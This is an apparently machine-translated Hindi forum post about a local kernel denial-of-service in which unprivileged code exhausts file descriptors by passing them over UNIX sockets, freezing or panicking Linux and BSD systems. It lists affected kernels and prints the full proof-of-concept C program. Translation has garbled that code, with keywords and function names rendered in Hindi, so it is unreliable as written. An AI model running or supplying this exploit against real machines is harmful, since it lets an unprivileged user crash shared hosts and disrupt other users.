प्रकाशित कोड जो कंप्यूटर को फ्रीज करने का कारण बनता है (सभी कोर का 100% लोड, फ़ाइल डिस्क्रिप्टर का थकावट)।
कोड लिंक:
lkml.org/lkml/2010/11/25/827, 32 के लिए जाँच की गई - हैंग को पुन: पेश किया जाता है। 32/64 बिट्स।
मैं स्पष्ट करूंगा: 1-2 सेकंड के बाद क्रैश डंप उड़ जाता है (मेरे पास पढ़ने का समय नहीं है), मेजबान ओवरलोड है। एक अन्य परीक्षण में, कार्यक्रम समाप्त होने के बाद (लगभग 5-7 सेकंड के बाद) सिस्टम क्रैश हो गया।
लौरा के PS एक्सपर्ट्स का कहना है कि FreeBSD 8.1 भी क्रैश करता है।
PPS अचानक - CentOS 5.5 पर 2.6.18 से क्रैश नहीं होता है। यदि आप उपयोगकर्ता से रूट, ड्रॉप, से चलते हैं - बस चुपचाप पूरा होता है। इस मामले में, आसन्न कंसोल में रूट काम में हस्तक्षेप नहीं करता है और सिस्टम क्रैश नहीं करता है।
स्थिति को स्पष्ट करने की कोशिश कर रहा है:
1) एक अनपेक्षित उपयोगकर्ता के साथ CentOS 2.6.18 / 64 प्रभावित नहीं होता है।
2) डेबियन निचोड़ 2.6.34 / 64 एक अप्रकाशित उपयोगकर्ता के साथ उजागर किया गया है (गिरी घबराहट)।
3) अफवाहों के अनुसार, कुछ FreeBSD में पुन: पेश करना संभव था (टिप्पणियों से - FreeBSD 8.2-PRERELEASE play नहीं करता)
4) टिप्पणियों से - Ubuntu 2.6.32 / 64 पर इसे पुन: पेश करना संभव नहीं था, 2.6.36 पर इसे पुन: प्रस्तुत किया जाता है।
5) उबंटू 2.6.34 / 64 - खेलने योग्य
6) टिप्पणियों से - RHEL5.5 फ्रीज नहीं करता है, लेकिन यह धीमा हो जाता है और प्रक्रिया को मारने से रोकता है।
7) टिप्पणियों से: FreeBSD 4.11, 8.1, OpebBSD 4.6, 4.8, DragonFLY BSD 2.8.0 - प्रभावित
8) ओपनवीजेड + 2.6.18 डेबियन / सेंटोस - खेलने योग्य नहीं।
पीपीपीएस उन लोगों के लिए जो परीक्षण करते हैं - गैर-विशेषाधिकार प्राप्त उपयोगकर्ता से शुरू करना आवश्यक है।
परीक्षण पाठ:
#include <sys / socket.h>
# अलग करें <sys / un.h>
स्थिर int send_fd (int unix_fd, int fd)
{
संरचना msghdr msgh;
संरचना cmsghdr * cmsg;
char buf [CMSG_SPACE (sizeof (fd))];
मेमसेट (& msgh, 0, sizeof (msgh));
मेमसेट (buf, 0, sizeof (buf));
msgh.msg_control = buf;
msgh.msg_controllen = sizeof (buf);
cmsg = CMSG_FIRSTHDR (& msgh);
cmsg-> cmsg_len = CMSG_LEN (sizeof (fd));
cmsg-> cmsg_level = SOL_SOCKET;
cmsg-> cmsg_type = SCM_RIGHTS;
msgh.msg_controllen = cmsg-> cmsg_len;
memcpy (CMSG_DATA (cmsg), & fd, sizeof (fd));
रिटर्न सेंम्सग (unix_fd, और msgh, 0);
}
int main ()
{
int fd [2], ff [2];
int लक्ष्य;
अगर (सॉकेटपेयर (PF_UNIX, SOCK_SEQPACKET, 0, fd) == - 1)
वापसी 1;
(;;) के लिए
{
अगर (सॉकेटपेयर (PF_UNIX, SOCK_SEQPACKET, 0, ff) == - 1)
वापसी 2;
send_fd (ff [0], fd [0]);
send_fd (ff [0], fd [1]);
बंद (एफडी [1]);
बंद (एफडी [को ०]);
fd [0] = ff [0];
fd [1] = ff [1];
}
}